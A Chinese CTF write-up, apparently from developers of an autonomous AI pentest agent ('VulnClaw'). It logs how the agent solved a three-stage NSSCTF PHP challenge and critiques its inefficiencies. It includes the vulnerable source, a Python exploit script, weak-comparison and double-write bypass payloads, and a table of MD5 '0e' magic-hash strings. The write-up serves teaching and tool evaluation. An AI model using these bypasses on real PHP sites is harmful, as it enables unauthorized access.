# 🦞 War Story #002 — NSSCTF PHP 弱比较 + preg_replace 双写 + MD5 弱比较

## 元信息

| 字段 | 值 |
|------|------|
| **日期** | 2026-04-19 |
| **目标** | `http://node5.anna.nssctf.cn:29058/` |
| **题目类型** | Web — PHP 弱比较 / preg_replace 双写绕过 / MD5 弱比较碰撞 |
| **关键词** | PHP、弱比较、数组绕过、双写绕过、MD5 0e 碰撞、科学计数法 |
| **VulnClaw 轮数** | 61（有效解题约 52 轮，含 9 轮重复验证） |
| **MCP 工具** | fetch, python_execute |
| **正确 Flag** | `NSSCTF{4dd0e8c8-d64c-4fe9-90a7-6944df79a1f2}` |

---

## 攻击链（完整真实流程）

| 步骤 | 操作 | 发现/问题 |
|------|------|-----------|
| 1 | 首次启动自主渗透 | **工具调用参数错误** — Round 2 因 function arguments JSON 格式错误导致 400 |
| 2 | 重新启动 | fetch 获取到 `highlight_file` 源码，但 HTML 着色标签导致阅读困难 |
| 3 | 初步源码分析 | 识别出三关卡结构：L1(num弱比较) / L2(str preg_replace) / L3(md5弱比较) |
| 4 | 尝试 L1: `num=1e9` | ✅ 正确！科学计数法绕过 strlen≤3 + 数值>999999999 |
| 5 | 尝试 L2: `str=NSSNSSCTFCTF` | ✅ 双写绕过！之前的 P0 修复生效，立刻用上了双写绕过知识 |
| 6 | 分析 L3 条件 | `md5(md5_1)==md5(md5_2)` — 需要 MD5 弱比较碰撞 |
| 7-9 | **反复搜索 MD5 碰撞值** | 搜索方向混乱：先找"双重MD5碰撞"→ 再找"0e开头碰撞"→ 暴力搜索 → 多次超时 |
| 10 | 用 python_execute 暴力搜索 0e 开头的 md5 | 找到 `100523`/`100662` 等，但 md5 值含有非数字字符（如 `0e993d...`） |
| 11 | 发送 L3: `md5_1=100523&md5_2=100662` | ❌ 返回 `G100523\n100662` — **md5 比较失败！** |
| 12 | 误判原因分析 | md5 值如 `0e993dffb...` 含字母 `d`/`f`，PHP 不会当作科学计数法处理 |
| 13-20 | **持续搜索正确碰撞值** | 尝试 web 搜索、Python 暴力、已知碰撞对 — 多次超时/无结果 |
| 21-24 | 尝试 PHP 数组绕过 L3 | `md5_1[]=1&md5_2[]=2` — `md5([])` 返回 NULL → `Nice!X(` — is_string 检查失败 |
| 25-33 | **继续搜索可用的字符串碰撞** | 搜索范围扩大，但仍未找到纯 `0e[0-9]+` 格式的 md5 碰撞 |
| 34 | 用 python_execute 构造完整请求 | `Nice!yoxi!` 同时出现 — 确认 md5 碰撞值有效，但 session 管理有问题 |
| 35-40 | **session 管理混乱期** | 尝试用 requests.Session / 分步请求 / 同一请求 — 反复验证 flag |
| 41 | 发现正确碰撞值 | `QNKCDZO` (md5=0e830400...) 和 `s878926199a` (md5=0e545993...) — **纯 0e+数字 格式** |
| 42-48 | 构造完整请求并验证 | 使用 Python session 正确管理 cookie，成功获取 flag |
| 49-61 | **重复验证期** | 多次重新发送请求确认 flag — 9 轮冗余验证 |

---

## 源码分析

### 完整源码

```php
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
    if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
        echo ":D";
        $_SESSION['L1'] = 1;
    }else{ echo ":C"; }
}
if(isset($_GET['str'])){
    $str = preg_replace('/NSSCTF/',"",$_GET['str']);
    if($str === "NSSCTF"){
        echo "wow";
        $_SESSION['L2'] = 1;
    }else{ echo $str; }
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
    if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
        echo "Nice!";
        if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
            if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                echo "yoxi!";
                $_SESSION['L3'] = 1;
            }else{ echo "X("; }
        }
    }else{ echo "G"; }
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
    include('flag.php');
    echo $flag;
}
?>
```

### 三关卡分析

| 关卡 | 参数 | 条件 | 绕过方法 | 成功标记 |
|------|------|------|----------|----------|
| L1 | `num` (GET) | `strlen(num)<=3 && num>999999999` | 科学计数法 `1e9` | `:D` |
| L2 | `str` (GET) | `preg_replace('/NSSCTF/','',str)==="NSSCTF"` | 双写 `NSSNSSCTFCTF` | `wow` |
| L3 | `md5_1/md5_2` (POST) | `md5_1!==md5_2 && md5(md5_1)==md5(md5_2) && is_string` | 0e 开头 MD5 碰撞 | `Nice!yoxi!` |
| Flag | — | `L1 && L2 && L3` 全部 session 就位 | — | `NSSCTF{...}` |

---

## 正确 Payload 及原理

### 完整请求

```python
import requests
s = requests.Session()

# Step 1: 设置 L1 + L2 session
r1 = s.get("http://target/?num=1e9&str=NSSNSSCTFCTF")
# r1.text 包含 ":Dwow"

# Step 2: 触发 L3 + 获取 flag
r2 = s.post("http://target/", data={"md5_1": "QNKCDZO", "md5_2": "s878926199a"})
# r2.text 包含 "Nice!yoxi!" + flag
```

### L1: 科学计数法绕过

```
GET ?num=1e9
```

- `strlen("1e9")` = 3（字符串长度）≤ 3 ✅
- `"1e9" > 999999999` → PHP 将 `"1e9"` 转换为 `1000000000` > `999999999` ✅

### L2: preg_replace 双写绕过

```
GET ?str=NSSNSSCTFCTF
```

- `preg_replace('/NSSCTF/', '', 'NSSNSSCTFCTF')` → 删除中间 `NSSCTF` → `NSS` + `CTF` = `NSSCTF`
- `'NSSCTF' === 'NSSCTF'` ✅

### L3: MD5 弱比较碰撞

```
POST md5_1=QNKCDZO&md5_2=s878926199a
```

- `md5("QNKCDZO")` = `0e830400451993494058024219903391`
- `md5("s878926199a")` = `0e545993274517709034328855841020`
- PHP 弱比较 `"0e830400..." == "0e545993..."` → 都被当作科学计数法 `0` → `0 == 0` = `true` ✅
- `"QNKCDZO" !== "s878926199a"` ✅
- `is_string("QNKCDZO") && is_string("s878926199a")` ✅

### ⚠️ L3 的关键陷阱：0e 后必须全是数字

- ❌ `100523` → md5 = `0e993dffb88165eb32369e16dd25b536` → 含字母 `d`/`f` → PHP 不当作科学计数法 → **弱比较失败**
- ✅ `QNKCDZO` → md5 = `0e830400451993494058024219903391` → `0e` 后全是数字 → PHP 当作科学计数法 0 → **弱比较成功**

---

## VulnClaw 流程问题分析

### 效率问题：61 轮中仅 ~15 轮有效

| 问题类型 | 浪费轮数 | 根因 |
|----------|----------|------|
| 工具调用参数格式错误 | 1 | MCP 工具调用参数 JSON 格式问题 |
| MD5 碰撞值搜索方向错误 | ~12 | 先搜"双重MD5"→ 再搜"暴力碰撞"→ 超时反复 |
| 0e 碰撞格式理解偏差 | ~5 | 不知道 `0e` 后必须全是数字，用了含字母的 md5 值 |
| Session 管理混乱 | ~8 | 不理解需要分步请求保持 cookie，反复同请求试错 |
| 重复验证 | ~9 | 获取 flag 后又发了 9 轮重复请求确认 |
| **有效轮数** | **~15** | 如果知识完整、session 正确，5-8 轮即可解决 |

### 具体问题清单

#### 1. MD5 弱比较知识不精确（最大浪费源）

VulnClaw 知道"0e 开头的 md5 弱比较相等"，但不知道 **`0e` 后必须全是数字（0-9）** 才能被 PHP 当作科学计数法。

- 用了 `100523`（md5 = `0e993d...`，含字母 d/f）→ PHP 不当作科学计数法 → 弱比较失败
- 浪费 5+ 轮在错误碰撞值上

**应改进**：php-bypass-cheatsheet.md 和 WAF_BYPASS_KNOWLEDGE 中明确指出 `0e` 后必须全是数字

#### 2. 碰撞值搜索策略低效

搜索路径混乱：
1. 先搜 "双重 MD5 碰撞"（理解条件为 `md5(md5(x))==md5(md5(y))`）→ 条件理解错误
2. 暴力搜索随机数字 → 找到的 md5 值含字母
3. web 搜索 → 超时

**正确路径**：题目条件是 `md5(x) == md5(y)`（弱比较），不是双重 MD5。应该直接用已知的经典碰撞字符串 `QNKCDZO`/`240610708`/`s878926199a` 等。

**应改进**：ctf-web SKILL.md 中添加"MD5 弱比较标准碰撞字符串表"（含验证通过的值）

#### 3. Session 管理意识薄弱

- 题目用 `$_SESSION` 存 L1/L2/L3 状态 → 必须保持 cookie
- VulnClaw 尝试用同一次请求发送所有参数 → 有时成功有时失败
- 大量轮数浪费在 "为什么 flag 没出现" 的调试上

**应改进**：代码审计遇到 `$_SESSION` 时，自动提醒需要 session 管理（cookie 持久化）

#### 4. 重复验证过度

获取 flag 后又发了 9 轮重复请求。虽然验证是好习惯，但验证 1-2 次即可。

**应改进**：flag 验证成功后最多再验证 1 次，然后立即 [DONE]

---

## 与 #001 对比：P0 修复效果

| 修复项 | #001 表现 | #002 表现 | 效果 |
|--------|-----------|-----------|------|
| **P0-1: 双写绕过** | 完全不知道 | **立刻用上** `NSSNSSCTFCTF` | ✅ 修复生效 |
| **P0-2: 输出语义** | 误判 else 回显为成功 | 正确识别 `:D`/`wow`/`Nice!yoxi!` 为成功标记 | ✅ 修复生效 |
| 新暴露问题 | — | MD5 0e 格式理解不精确 | ❌ 需修复 |
| 新暴露问题 | — | Session 管理知识缺失 | ❌ 需修复 |

---

## 经验总结

### 核心方法论

1. **科学计数法是 PHP 弱比较绕过的万能钥匙** — `1e9`/`9e9` 等格式同时满足字符串短和数值大
2. **preg_replace 双写绕过** — `关键词前半 + 关键词 + 关键词后半`，替换后拼出原词
3. **MD5 弱比较** — `0e` 开头且后跟纯数字的 md5 值，PHP 当作科学计数法 0，互相比对相等
4. **⚠️ 0e 后必须全是数字** — `0e830400...`（全数字 ✅） vs `0e993d...`（含字母 ❌）
5. **Session 题目必须管理 cookie** — PHP `$_SESSION` 依赖 cookie，需分步请求

### 已知 MD5 弱比较碰撞字符串表（已验证可用）

| 字符串 | MD5 值 | 0e后纯数字? |
|--------|--------|------------|
| `QNKCDZO` | `0e830400451993494058024219903391` | ✅ |
| `240610708` | `0e462097431906509019562988736854` | ✅ |
| `s878926199a` | `0e545993274517709034328855841020` | ✅ |
| `s155964671a` | `0e342768416822451524974117254469` | ✅ |
| `s214587387a` | `0e848204310308006290363795692068` | ✅ |
| `s1091221200a` | `0e940625744785414655937625828514` | ✅ |

### VulnClaw 能力验证

| 能力 | 表现 | 评分 |
|------|------|------|
| 目标侦察 | 快速获取源码，识别三关卡结构 | ⭐⭐⭐⭐ |
| L1 弱比较绕过 | 科学计数法 `1e9`，1 轮通过 | ⭐⭐⭐⭐⭐ |
| L2 双写绕过 | P0 修复后立刻用上 | ⭐⭐⭐⭐⭐ |
| L3 MD5 碰撞 | 搜索方向混乱，0e 格式理解不精确 | ⭐⭐ |
| Session 管理 | 多轮浪费，未意识到 cookie 持久化 | ⭐⭐ |
| Flag 验证 | 过度验证，9 轮冗余 | ⭐⭐⭐ |

---

## 待修复问题

| 优先级 | 问题 | 建议修复 |
|--------|------|----------|
| **P0** | MD5 0e 弱比较格式理解不精确 | php-bypass-cheatsheet.md + WAF_BYPASS_KNOWLEDGE 明确 `0e` 后必须纯数字 |
| **P0** | MD5 弱比较标准碰撞字符串表缺失 | ctf-web SKILL.md 添加已验证碰撞表 |
| **P1** | Session 管理知识缺失 | 代码审计遇到 `$_SESSION` 时自动提醒 cookie 管理 |
| **P2** | Flag 验证过度 | 验证成功后最多 1 次确认，然后立即 [DONE] |

---

*VulnClaw 第二战 · 2026-04-19 · 61 轮自主渗透（有效 ~15 轮）· 双写绕过修复生效 · MD5 碰撞搜索低效 🦞*
